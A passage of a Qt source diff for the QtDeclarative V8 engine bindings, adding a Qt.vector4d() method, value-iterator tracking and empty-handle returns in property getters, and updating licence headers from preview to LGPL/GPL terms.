m_xmlHttpRequestData = qt_add_qmlxmlhttprequest(this);
m_sqlDatabaseData = qt_add_qmlsqldatabase(this);
@@ -891,6 +850,23 @@ v8::Handle<v8::Value> QV8Engine::vector3d(const v8::Arguments &args)
}
/*!
+\qmlmethod Qt::vector4d(real x, real y, real z, real w)
+Returns a Vector4D with the specified \c x, \c y, \c z and \c w.
+*/
+v8::Handle<v8::Value> QV8Engine::vector4d(const v8::Arguments &args)
+{
+ if (args.Length() != 4)
+ V8THROW_ERROR("Qt.vector4d(): Invalid arguments");
+
+ double x = args[0]->NumberValue();
+ double y = args[1]->NumberValue();
+ double z = args[2]->NumberValue();
+ double w = args[3]->NumberValue();
+
+ return V8ENGINE()->fromVariant(QVariant::fromValue(QVector4D(x, y, z, w)));
+}
+
+/*!
\qmlmethod color Qt::lighter(color baseColor, real factor)
Returns a color lighter than \c baseColor by the \c factor provided.
@@ -2131,14 +2107,14 @@ bool QV8Engine::metaTypeFromJS(v8::Handle<v8::Value> value, int type, void *data
}
#endif
- // Try to use magic.
+ // Try to use magic; for compatibility with qscriptvalue_cast.
QByteArray name = QMetaType::typeName(type);
if (convertToNativeQObject(value, name, reinterpret_cast<void* *>(data)))
return true;
if (isVariant(value) && name.endsWith('*')) {
int valueType = QMetaType::type(name.left(name.size()-1));
- QVariant var = variantValue(value);
+ QVariant &var = variantValue(value);
if (valueType == var.userType()) {
// We have T t, T* is requested, so return &t.
*reinterpret_cast<void* *>(data) = var.data();
@@ -2201,9 +2177,9 @@ QVariant QV8Engine::variantFromJS(v8::Handle<v8::Value> value)
return QVariant();
if (value->IsBoolean())
return value->ToBoolean()->Value();
- else if (value->IsInt32())
+ if (value->IsInt32())
return value->ToInt32()->Value();
- else if (value->IsNumber())
+ if (value->IsNumber())
return value->ToNumber()->Value();
if (value->IsString())
return QJSConverter::toString(value->ToString());
@@ -2259,10 +2235,9 @@ QObject *QV8Engine::qtObjectFromJS(v8::Handle<v8::Value> value)
}
-QVariant QV8Engine::variantValue(v8::Handle<v8::Value> value)
+QVariant &QV8Engine::variantValue(v8::Handle<v8::Value> value)
{
- Q_ASSERT(isVariant(value));
- return QV8Engine::toVariant(value, -1 /*whateever magic hint is*/);
+ return variantWrapper()->variantValue(value);
}
// Creates a QVariant wrapper object.
diff --git a/src/declarative/qml/v8/qv8engine_impl_p.h b/src/declarative/qml/v8/qv8engine_impl_p.h
index 5c56efdf39..53ce2a5acd 100644
--- a/src/declarative/qml/v8/qv8engine_impl_p.h
+++ b/src/declarative/qml/v8/qv8engine_impl_p.h
@@ -38,6 +38,7 @@
#include "qv8engine_p.h"
#include "qjsvalue_p.h"
#include "qjsconverter_p.h"
+#include "qjsvalueiterator_p.h"
QT_BEGIN_NAMESPACE
@@ -80,6 +81,10 @@ public:
{
value->reinitialize();
}
+ void operator () (QJSValueIteratorPrivate *iterator) const
+ {
+ iterator->invalidate();
+ }
};
inline void QV8Engine::registerValue(QJSValuePrivate *data)
@@ -94,9 +99,28 @@ inline void QV8Engine::unregisterValue(QJSValuePrivate *data)
inline void QV8Engine::invalidateAllValues()
{
- QtScriptBagCleaner invalidator;
- m_values.forEach(invalidator);
- m_values.clear();
+ ValueList::iterator it;
+ for (it = m_values.begin(); it != m_values.end(); it = it.erase())
+ (*it)->invalidate();
+ Q_ASSERT(m_values.isEmpty());
+}
+
+inline void QV8Engine::registerValueIterator(QJSValueIteratorPrivate *data)
+{
+ m_valueIterators.insert(data);
+}
+
+inline void QV8Engine::unregisterValueIterator(QJSValueIteratorPrivate *data)
+{
+ m_valueIterators.remove(data);
+}
+
+inline void QV8Engine::invalidateAllIterators()
+{
+ ValueIteratorList::iterator it;
+ for (it = m_valueIterators.begin(); it != m_valueIterators.end(); it = it.erase())
+ (*it)->invalidate();
+ Q_ASSERT(m_valueIterators.isEmpty());
}
/*!
diff --git a/src/declarative/qml/v8/qv8engine_p.h b/src/declarative/qml/v8/qv8engine_p.h
index b95e55002b..43ef9821ac 100644
--- a/src/declarative/qml/v8/qv8engine_p.h
+++ b/src/declarative/qml/v8/qv8engine_p.h
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -63,6 +63,8 @@
#include <private/qv8_p.h>
#include <qjsengine.h>
#include <qjsvalue.h>
+#include "qjsvalue_p.h"
+#include "qjsvalueiterator_p.h"
#include "qscriptoriginalglobalobject_p.h"
#include "qscripttools_p.h"
@@ -125,6 +127,7 @@ private:
return rv; \
} \
+
class QV8Engine;
class QV8ObjectResource : public v8::Object::ExternalResource
{
@@ -214,6 +217,7 @@ class QDeclarativeEngine;
class QDeclarativeValueType;
class QNetworkAccessManager;
class QDeclarativeContextData;
+
class Q_DECLARATIVE_EXPORT QV8Engine
{
public:
@@ -260,11 +264,16 @@ public:
inline void unregisterValue(QJSValuePrivate *data);
inline void invalidateAllValues();
+ inline void registerValueIterator(QJSValueIteratorPrivate *data);
+ inline void unregisterValueIterator(QJSValueIteratorPrivate *data);
+ inline void invalidateAllIterators();
+
QV8ContextWrapper *contextWrapper() { return &m_contextWrapper; }
QV8QObjectWrapper *qobjectWrapper() { return &m_qobjectWrapper; }
QV8TypeWrapper *typeWrapper() { return &m_typeWrapper; }
QV8ListWrapper *listWrapper() { return &m_listWrapper; }
QV8VariantWrapper *variantWrapper() { return &m_variantWrapper; }
+ QV8ValueTypeWrapper *valueTypeWrapper() { return &m_valueTypeWrapper; }
void *xmlHttpRequestData() { return m_xmlHttpRequestData; }
void *sqlDatabaseData() { return m_sqlDatabaseData; }
@@ -378,7 +387,7 @@ public:
const QByteArray &targetType,
void **result);
- QVariant variantValue(v8::Handle<v8::Value> value);
+ QVariant &variantValue(v8::Handle<v8::Value> value);
QJSValue scriptValueFromInternal(v8::Handle<v8::Value>) const;
@@ -427,6 +436,7 @@ protected:
static v8::Handle<v8::Value> point(const v8::Arguments &args);
static v8::Handle<v8::Value> size(const v8::Arguments &args);
static v8::Handle<v8::Value> vector3d(const v8::Arguments &args);
+ static v8::Handle<v8::Value> vector4d(const v8::Arguments &args);
static v8::Handle<v8::Value> lighter(const v8::Arguments &args);
static v8::Handle<v8::Value> darker(const v8::Arguments &args);
static v8::Handle<v8::Value> tint(const v8::Arguments &args);
@@ -452,10 +462,15 @@ protected:
double qtDateTimeToJsDate(const QDateTime &dt);
QDateTime qtDateTimeFromJsDate(double jsDate);
+
private:
- QScriptBagContainer<QJSValuePrivate> m_values;
+ typedef QScriptIntrusiveList<QJSValuePrivate, &QJSValuePrivate::m_node> ValueList;
+ ValueList m_values;
+ typedef QScriptIntrusiveList<QJSValueIteratorPrivate, &QJSValueIteratorPrivate::m_node> ValueIteratorList;
+ ValueIteratorList m_valueIterators;
Q_DISABLE_COPY(QV8Engine)
+ friend class QV8DebugService;
};
// Allocate a new Persistent handle. *ALL* persistent handles in QML must be allocated
diff --git a/src/declarative/qml/v8/qv8include.cpp b/src/declarative/qml/v8/qv8include.cpp
index 71937d0aad..1d68e8e4be 100644
--- a/src/declarative/qml/v8/qv8include.cpp
+++ b/src/declarative/qml/v8/qv8include.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qv8listwrapper.cpp b/src/declarative/qml/v8/qv8listwrapper.cpp
index 5f2d9fb91e..777ce78686 100644
--- a/src/declarative/qml/v8/qv8listwrapper.cpp
+++ b/src/declarative/qml/v8/qv8listwrapper.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -135,7 +135,7 @@ v8::Handle<v8::Value> QV8ListWrapper::Getter(v8::Local<v8::String> property,
{
Q_UNUSED(property);
Q_UNUSED(info);
- return v8::Undefined();
+ return v8::Handle<v8::Value>();
}
v8::Handle<v8::Value> QV8ListWrapper::Setter(v8::Local<v8::String> property,
diff --git a/src/declarative/qml/v8/qv8listwrapper_p.h b/src/declarative/qml/v8/qv8listwrapper_p.h
index 82fdaa7271..8cbc7db0b8 100644
--- a/src/declarative/qml/v8/qv8listwrapper_p.h
+++ b/src/declarative/qml/v8/qv8listwrapper_p.h
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qv8qobjectwrapper.cpp b/src/declarative/qml/v8/qv8qobjectwrapper.cpp
index f97f427ede..c7ed0116e1 100644
--- a/src/declarative/qml/v8/qv8qobjectwrapper.cpp
+++ b/src/declarative/qml/v8/qv8qobjectwrapper.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -336,7 +336,8 @@ static v8::Handle<v8::Value> LoadProperty(QV8Engine *engine, QObject *object,
void *args[] = { &handle, 0 };
QMetaObject::metacall(object, QMetaObject::ReadProperty, property.coreIndex, args);
return handle.toHandle();
- } else if (QDeclarativeValueTypeFactory::isValueType((uint)property.propType)) {
+ } else if (QDeclarativeValueTypeFactory::isValueType((uint)property.propType)
+ && engine->engine()) {
QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine->engine());
QDeclarativeValueType *valueType = ep->valueTypes[property.propType];
if (valueType)
@@ -381,7 +382,8 @@ static v8::Handle<v8::Value> LoadPropertyDirect(QV8Engine *engine, QObject *obje
void *args[] = { &handle, 0 };
object->qt_metacall(QMetaObject::ReadProperty, property.coreIndex, args);
return handle.toHandle();
- } else if (QDeclarativeValueTypeFactory::isValueType((uint)property.propType)) {
+ } else if (QDeclarativeValueTypeFactory::isValueType((uint)property.propType)
+ && engine->engine()) {
QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine->engine());
QDeclarativeValueType *valueType = ep->valueTypes[property.propType];
if (valueType)
@@ -600,7 +602,7 @@ v8::Handle<v8::Value> QV8QObjectWrapper::Getter(v8::Local<v8::String> property,
QV8QObjectResource *resource = v8_resource_check<QV8QObjectResource>(info.This());
if (resource->object.isNull())
- return v8::Undefined();
+ return v8::Handle<v8::Value>();
QObject *object = resource->object;
@@ -628,7 +630,7 @@ v8::Handle<v8::Value> QV8QObjectWrapper::Getter(v8::Local<v8::String> property,
}
}
- return v8::Undefined();
+ return v8::Handle<v8::Value>();
}
v8::Handle<v8::Value> QV8QObjectWrapper::Setter(v8::Local<v8::String> property,
diff --git a/src/declarative/qml/v8/qv8qobjectwrapper_p.h b/src/declarative/qml/v8/qv8qobjectwrapper_p.h
index dd787cc476..d0a489bed8 100644
--- a/src/declarative/qml/v8/qv8qobjectwrapper_p.h
+++ b/src/declarative/qml/v8/qv8qobjectwrapper_p.h
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qv8stringwrapper.cpp b/src/declarative/qml/v8/qv8stringwrapper.cpp
index 883c4826c5..1fea98fdc0 100644
--- a/src/declarative/qml/v8/qv8stringwrapper.cpp
+++ b/src/declarative/qml/v8/qv8stringwrapper.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -40,6 +40,7 @@
****************************************************************************/
#include "qv8stringwrapper_p.h"
+#include "qjsconverter_p.h"
QT_BEGIN_NAMESPACE
@@ -73,7 +74,7 @@ void QV8StringWrapper::destroy()
v8::Local<v8::String> QV8StringWrapper::toString(const QString &qstr)
{
// return v8::String::NewExternal(new QV8StringResource(qstr));
- return v8::String::New((uint16_t*)qstr.constData(), qstr.length());
+ return QJSConverter::toString(qstr);
}
QString QV8StringWrapper::toString(v8::Handle<v8::String> jsstr)
@@ -84,10 +85,7 @@ QString QV8StringWrapper::toString(v8::Handle<v8::String> jsstr)
QV8StringResource *r = (QV8StringResource *)jsstr->GetExternalStringResource();
return r->str;
} else {
- QString qstr;
- qstr.resize(jsstr->Length());
- jsstr->Write((uint16_t*)qstr.data());
- return qstr;
+ return QJSConverter::toString(jsstr);
}
}
diff --git a/src/declarative/qml/v8/qv8stringwrapper_p.h b/src/declarative/qml/v8/qv8stringwrapper_p.h
index 36c9e24c06..beef80ff10 100644
--- a/src/declarative/qml/v8/qv8stringwrapper_p.h
+++ b/src/declarative/qml/v8/qv8stringwrapper_p.h
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qv8typewrapper.cpp b/src/declarative/qml/v8/qv8typewrapper.cpp
index fe30670fc2..c51a2eeb7f 100644
--- a/src/declarative/qml/v8/qv8typewrapper.cpp
+++ b/src/declarative/qml/v8/qv8typewrapper.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -150,7 +150,7 @@ v8::Handle<v8::Value> QV8TypeWrapper::Getter(v8::Local<v8::String> property,
}
}
- // Fall through to undefined
+ // Fall through to return empty handle
} else if (resource->object) {
QObject *ao = qmlAttachedPropertiesObjectById(type->attachedPropertiesId(), object);
@@ -158,10 +158,10 @@ v8::Handle<v8::Value> QV8TypeWrapper::Getter(v8::Local<v8::String> property,
return v8engine->qobjectWrapper()->getProperty(ao, propertystring,
QV8QObjectWrapper::IgnoreRevision);
- // Fall through to undefined
+ // Fall through to return empty handle
}
- // Fall through to undefined
+ // Fall through to return empty handle
} else if (resource->typeNamespace) {
@@ -185,21 +185,19 @@ v8::Handle<v8::Value> QV8TypeWrapper::Getter(v8::Local<v8::String> property,
if (moduleApi->qobjectApi) {
v8::Handle<v8::Value> rv = v8engine->qobjectWrapper()->getProperty(moduleApi->qobjectApi, propertystring, QV8QObjectWrapper::IgnoreRevision);
- if (rv.IsEmpty())
- return v8::Undefined();
- else
- return rv;
+ return rv;
} else {
- return v8::Undefined();
+ return v8::Handle<v8::Value>();
}
}
- // Fall through to undefined
+ // Fall through to return empty handle
} else {
Q_ASSERT(!"Unreachable");
}
- return v8::Undefined();
+
+ return v8::Handle<v8::Value>();
}
v8::Handle<v8::Value> QV8TypeWrapper::Setter(v8::Local<v8::String> property,
diff --git a/src/declarative/qml/v8/qv8valuetypewrapper.cpp b/src/declarative/qml/v8/qv8valuetypewrapper.cpp
index f3100cf7b5..e459fee71f 100644
--- a/src/declarative/qml/v8/qv8valuetypewrapper.cpp
+++ b/src/declarative/qml/v8/qv8valuetypewrapper.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
